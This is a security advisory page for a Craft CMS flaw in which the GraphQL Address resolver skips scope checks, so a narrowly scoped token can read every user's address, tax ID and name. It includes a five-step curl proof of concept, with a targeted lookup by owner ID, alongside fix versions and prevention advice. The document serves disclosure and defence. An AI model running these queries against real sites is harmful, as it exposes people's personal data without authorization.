Skip to content

GHSA-gj2p-p9m4-c8gw CVE-2026-44010

Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 35.44% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
5.9.18
Upgrade craftcms/cms to this version or later

Description

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

  • Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
  • 5 internal executives with corporate addresses (internalTeam)
  • 3 public customers with personal addresses (publicUsers)
  • GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs:

  • Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263)
  • James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038)
  • Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651)
  • David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835)
  • Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057)

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" />

Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

  • Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.

  • Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.

  • Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.

  • Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

Affected versions

Packagist

PackageVulnerableFixed in
craftcms/cms
>= 5.0.0, < 5.9.18
5.9.18
craftcms/cms
>= 4.0.0, < 4.17.12
4.17.12

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

craftcms/cms Packagist → 5.9.18

composer
composer require craftcms/cms:^5.9.18

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7vrx-9684-xrf2
Craft CMS stores arbitrary content provided by unauthenticated users in session files
Medium Known exploited Also affects craftcms/cms
GHSA-f3gw-9ww9-jmc3
Craft CMS Allows Remote Code Execution
Critical Known exploited Also affects craftcms/cms
GHSA-x684-96hh-833x
Craft CMS has a potential RCE with a compromised security key
High Known exploited Also affects craftcms/cms
GHSA-2p6p-9rc9-62j9
Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled
Critical Known exploited Also affects craftcms/cms
GHSA-wg23-69c2-gjc8
Craft CMS: Passkey login accepts replayed WebAuthn assertions
Medium Also affects craftcms/cms
GHSA-957r-qf9p-67xw
Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts
Medium Also affects craftcms/cms
GHSA-596p-6jv8-775v
Craft CMS: Authenticated leak of secret environment variables
Medium Also affects craftcms/cms
GHSA-xxpx-f366-4xpq
Craft CMS: Authorization bypass: view-only Categories user can modify category structure via structures/move-element
Medium Also affects craftcms/cms
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor